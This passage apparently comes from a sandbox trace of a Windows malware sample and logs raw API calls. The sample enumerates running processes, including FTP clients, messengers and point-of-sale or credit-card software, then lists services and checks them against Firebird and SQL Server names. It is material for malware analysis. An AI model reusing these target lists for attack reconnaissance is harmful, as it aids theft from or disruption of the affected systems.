lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0046.012] lstrlenW (lpString="leechftp.exe") returned 12 [0046.012] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0046.014] lstrlenW (lpString="ncftp.exe") returned 9 [0046.014] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0046.016] lstrlenW (lpString="notepad.exe") returned 11 [0046.016] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0046.018] lstrlenW (lpString="operamail.exe") returned 13 [0046.018] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0046.020] lstrlenW (lpString="pidgin.exe") returned 10 [0046.020] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0046.022] lstrlenW (lpString="scriptftp.exe") returned 13 [0046.022] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0046.023] lstrlenW (lpString="skype.exe") returned 9 [0046.023] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0046.025] lstrlenW (lpString="smartftp.exe") returned 12 [0046.025] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0046.027] lstrlenW (lpString="thunderbird.exe") returned 15 [0046.027] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0046.028] lstrlenW (lpString="totalcmd.exe") returned 12 [0046.029] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0046.030] lstrlenW (lpString="trillian.exe") returned 12 [0046.030] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0046.032] lstrlenW (lpString="webdrive.exe") returned 12 [0046.032] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0046.034] lstrlenW (lpString="whatsapp.exe") returned 12 [0046.034] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0046.036] lstrlenW (lpString="winscp.exe") returned 10 [0046.036] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0046.037] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0046.038] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0046.039] lstrlenW (lpString="active-charge.exe") returned 17 [0046.039] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0046.041] lstrlenW (lpString="accupos.exe") returned 11 [0046.041] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0046.042] lstrlenW (lpString="afr38.exe") returned 9 [0046.042] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0046.044] lstrlenW (lpString="aldelo.exe") returned 10 [0046.044] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0046.045] lstrlenW (lpString="ccv_server.exe") returned 14 [0046.045] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0046.294] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0046.295] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0046.296] lstrlenW (lpString="creditservice.exe") returned 17 [0046.296] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0046.297] lstrlenW (lpString="edcsvr.exe") returned 10 [0046.297] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0046.298] lstrlenW (lpString="fpos.exe") returned 8 [0046.298] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0046.300] lstrlenW (lpString="isspos.exe") returned 10 [0046.300] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0046.301] lstrlenW (lpString="mxslipstream.exe") returned 16 [0046.301] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0046.302] lstrlenW (lpString="omnipos.exe") returned 11 [0046.302] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0046.304] lstrlenW (lpString="spcwin.exe") returned 10 [0046.304] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0046.305] lstrlenW (lpString="spgagentservice.exe") returned 19 [0046.305] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0046.307] lstrlenW (lpString="utg2.exe") returned 8 [0046.307] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0046.308] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0046.308] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0046.309] lstrlenW (lpString="increases.exe") returned 13 [0046.309] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.310] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.310] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.311] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.311] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.313] lstrlenW (lpString="dllhost.exe") returned 11 [0046.313] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.314] lstrlenW (lpString="dllhost.exe") returned 11 [0046.314] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0046.315] lstrlenW (lpString="driver.exe") returned 10 [0046.315] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.316] lstrlenW (lpString="cmd.exe") returned 7 [0046.316] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.318] lstrlenW (lpString="conhost.exe") returned 11 [0046.318] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0046.319] CloseHandle (hObject=0x1a4) returned 1 [0046.319] Sleep (dwMilliseconds=0x1f4) [0046.936] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0638 [0047.092] EnumServicesStatusExW (in: hSCManager=0x35f0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0047.092] GetLastError () returned 0xea [0047.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x6387a0 [0047.092] EnumServicesStatusExW (in: hSCManager=0x35f0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6387a0, cbBufSize=0x134c, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6387a0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0047.093] CloseServiceHandle (hSCObject=0x35f0638) returned 1 [0047.094] lstrlenW (lpString="Appinfo") returned 7 [0047.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.094] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.094] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.094] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.094] lstrlenW (lpString="AudioSrv") returned 8 [0047.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.094] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.094] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.094] lstrlenW (lpString="BFE") returned 3 [0047.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.095] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.095] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.095] lstrlenW (lpString="CryptSvc") returned 8 [0047.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.096] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.096] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.096] lstrlenW (lpString="CscService") returned 10 [0047.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.096] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.096] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.096] lstrlenW (lpString="DcomLaunch") returned 10 [0047.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.096] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.096] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.096] lstrlenW (lpString="Dhcp") returned 4 [0047.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.097] lstrlenW (lpString="Dnscache") returned 8 [0047.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.097] lstrlenW (lpString="DPS") returned 3 [0047.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.097] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.097] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.097] lstrlenW (lpString="eventlog") returned 8 [0047.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.097] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.097] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.097] lstrlenW (lpString="EventSystem") returned 11 [0047.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.098] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.098] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.098] lstrlenW (lpString="FontCache") returned 9 [0047.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0047.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0047.098] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0047.098] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0047.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0047.098] lstrlenW (lpString="gpsvc") returned 5 [0047.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.098] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.098] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.098] lstrlenW (lpString="iphlpsvc") returned 8 [0047.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.099] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.099] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.099] lstrlenW (lpString="LanmanServer") returned 12 [0047.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.099] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.099] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.099] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.099] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.099] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.099] lstrlenW (lpString="lmhosts") returned 7 [0047.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.099] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.100] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.100] lstrlenW (lpString="MMCSS") returned 5 [0047.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.100] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.100] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.100] lstrlenW (lpString="MpsSvc") returned 6 [0047.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.100] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.100] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.100] lstrlenW (lpString="Netman") returned 6 [0047.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.100] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.100] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.101] lstrlenW (lpString="netprofm") returned 8 [0047.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.101] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.101] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.101] lstrlenW (lpString="NlaSvc") returned 6 [0047.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.101] lstrcmpiW (lpString1="sqlwriter", 